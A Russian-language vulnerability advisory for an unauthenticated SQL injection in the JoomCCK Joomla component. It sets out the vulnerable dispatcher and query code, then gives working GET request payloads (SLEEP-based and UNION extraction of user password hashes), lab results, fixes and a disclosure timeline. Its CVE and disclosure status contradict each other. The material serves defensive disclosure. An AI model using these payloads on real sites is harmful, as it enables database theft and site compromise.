
CVE-2026-49048 — JoomCCK 6.4.0 Неаутентифицированная SQL-инъекция (CVSS 9.8)
CVE: CVE-2026-49048
Статус: Публичное раскрытие. Сообщено в Joomla Security Strike Team (JSST) — тикет #282420.
| Поле | Значение |
|---|---|
| ID рекомендации | JOOMCCK-2026-001 |
| CVE | CVE-2026-49048 |
| Продукт | JoomCCK (com_joomcck) — Content Construction Kit для Joomla |
| Производитель | JoomCoder — https://www.joomcoder.com |
| Затронутые версии | 6.4.0 (последняя на момент обнаружения; более ранние версии 6.x предположительно затронуты) |
| Исправленная версия | Отсутствует на момент написания |
| Тип | SQL-инъекция (CWE-89) через отсутствие авторизации (CWE-862) |
| Требуется аутентификация | Нет — без аутентификации, до аутентификации |
| Критичность | Критическая — базовая оценка CVSS 3.1 — 9.8 |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Обнаружено | Kamil Soltanov |
| Контакт | [email protected] |
| Дата обнаружения | 2026-06-22 |
Компонент Joomla 4/5/6 JoomCCK предоставляет задачу фронтенд-контроллера (task=tags.save), которая конкатенирует предоставляемый пользователем параметр tag напрямую в SQL без экранирования или параметризации. Собственный MVC-диспетчер компонента не выполняет ни проверку CSRF-токена, ни проверку контроля доступа, что делает инъекцию достижимой для полностью неаутентифицированного удалённого злоумышленника.
Успешная эксплуатация позволяет получить полный доступ на чтение к базе данных Joomla — включая хэши паролей из #__users — посредством UNION-based и time-based blind SQL-инъекций, что приводит к полной компрометации сайта.
libraries/mint/mvc/controller/base.php — MControllerBase::execute():
public function execute($task)
{
$this->task = $task;
$task = !is_null($task) ? strtolower($task) : '';
$doTask = $this->taskMap[$task];
...
return $this->$doTask(); // Invoked with no checkToken(), no authorise()
}
Метод authorise() в том же классе является пустой заглушкой (no-op), безусловно возвращающей true.
Точка входа components/com_joomcck/joomcck.php вызывает execute(input->get('task')) без какой-либо проверки входа, токена или ACL → любой публичный метод контроллера является задачей, доступной без аутентификации.
tags.save (CWE-89)components/com_joomcck/models/tags.php — _saveTag():
$tag = $app->input->getString('tag'); // Joomla 'STRING' filter: strips HTML but NOT SQL quotes
$query = ' SELECT a.* FROM #__js_res_tags AS a WHERE a.tag = "' . $tag . '"'; // INJECTABLE
$exist_item = $this->_getList($query);
// Later:
$query = 'UPDATE #__js_res_tags SET tag = "' . $tag . '" WHERE id =' . $id; // INJECTABLE
Фильтр ввода STRING в Joomla удаляет HTML-теги, но пропускает " без изменений — тот же символ, который здесь используется как разделитель строк SQL. Выход за пределы строкового литерала позволяет внедрить произвольный SQL.
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20OR%20SLEEP(5)--%20- HTTP/1.1
Host: target.example.com
Ожидается: задержка ответа ≥ 5 секунд (для каждой совпавшей строки).
GET /index.php?option=com_joomcck&task=tags.save&id=1&tag=x%22%20UNION%20SELECT%20id,username,password%20FROM%20%23__users--%20- HTTP/1.1
Host: target.example.com
Полный код PoC и запись собранных доказательств находятся в poc/.
Ключевые результаты лабораторных испытаний:
Полезная нагрузка (tag=) | Результат |
|---|---|
cars (безвредная) | Возвращена 1 строка — норма |
zzz" OR "1"="1 | " не экранирован → возвращены все строки (инъекция подтверждена) |
zzz" UNION SELECT id,username,password FROM jos_users-- - | Хеш пароля администратора похищен |
zzz" OR SLEEP(3)-- - | Ответ задержан на 9,0 с (3 строки × 3 с) |
Лабораторный стенд использует подлинный
Joomla\Input\Input::getString()и дословный запрос_saveTag()к работающему экземпляру MariaDB 11.8.
Неаутентифицированный удалённый злоумышленник может:
#__js_res_tags через инъектируемый UPDATEtask=tags.delete и task=records.copy (также без аутентификации — тот же дефект диспетчера)Тот же дефект диспетчера открывает доступ к дополнительным задачам без аутентификации:
| Задача | Эффект |
|---|---|
tags.delete | Удаление любого тега без аутентификации |
records.copy | Дублирование любой записи без аутентификации |
ajax.category_records | Перечисление записей по категории |
ajax.tags_list | Список всех тегов |
ajax.users_filter | Перечисление имён пользователей |
ajax.loadfieldparams | Раскрытие конфигурации полей |
Примечание: многие задачи records.* действительно применяют ACL внутри через _checkAccess() и не затронуты.
1. Параметризуйте все запросы (построитель запросов Joomla):
$db = $this->getDatabase();
$tag = $app->input->getString('tag');
// SELECT
$query = $db->getQuery(true)
->select('a.*')
->from($db->quoteName('#__js_res_tags', 'a'))
->where($db->quoteName('a.tag') . ' = ' . $db->quote($tag));
// UPDATE
$upd = $db->getQuery(true)
->update($db->quoteName('#__js_res_tags'))
->set($db->quoteName('tag') . ' = ' . $db->quote($tag))
->where($db->quoteName('id') . ' = ' . (int) $id);
2. Обеспечить проверку авторизации в диспетчере — добавить Session::checkToken() и проверку ACL (Factory::getApplication()->getIdentity()->authorise(...)) перед всеми задачами, изменяющими состояние, по аналогии с защитой, уже присутствующей в files.upload.
| Дата | Событие |
|---|---|
| 2026-06-22 | Уязвимость обнаружена и подтверждена с помощью PoC в локальной лаборатории |
| 2026-06-22 | Подготовлено уведомление; передано в Joomla Security Strike Team (JSST) и VEL |
| 2026-06-23 | JSST подтвердил получение — David Jardin, тикет #282420. Координация с вендором (JoomCoder) через JSST |
| 2026-06-25 | Подтверждение эксплуатации в реальных условиях на рабочем сайте Joomla: SLEEP(5) → ответ за 115 с; ошибка MySQL 1222 при UNION (неразрушающая, данные не похищены) |
| TBD | Патч от вендора |
| TBD | Присвоение CVE |
| TBD | Публичное раскрытие (90-дневное окно скоординированного раскрытия) |
Независимый исследователь безопасности.
Контакт: [email protected]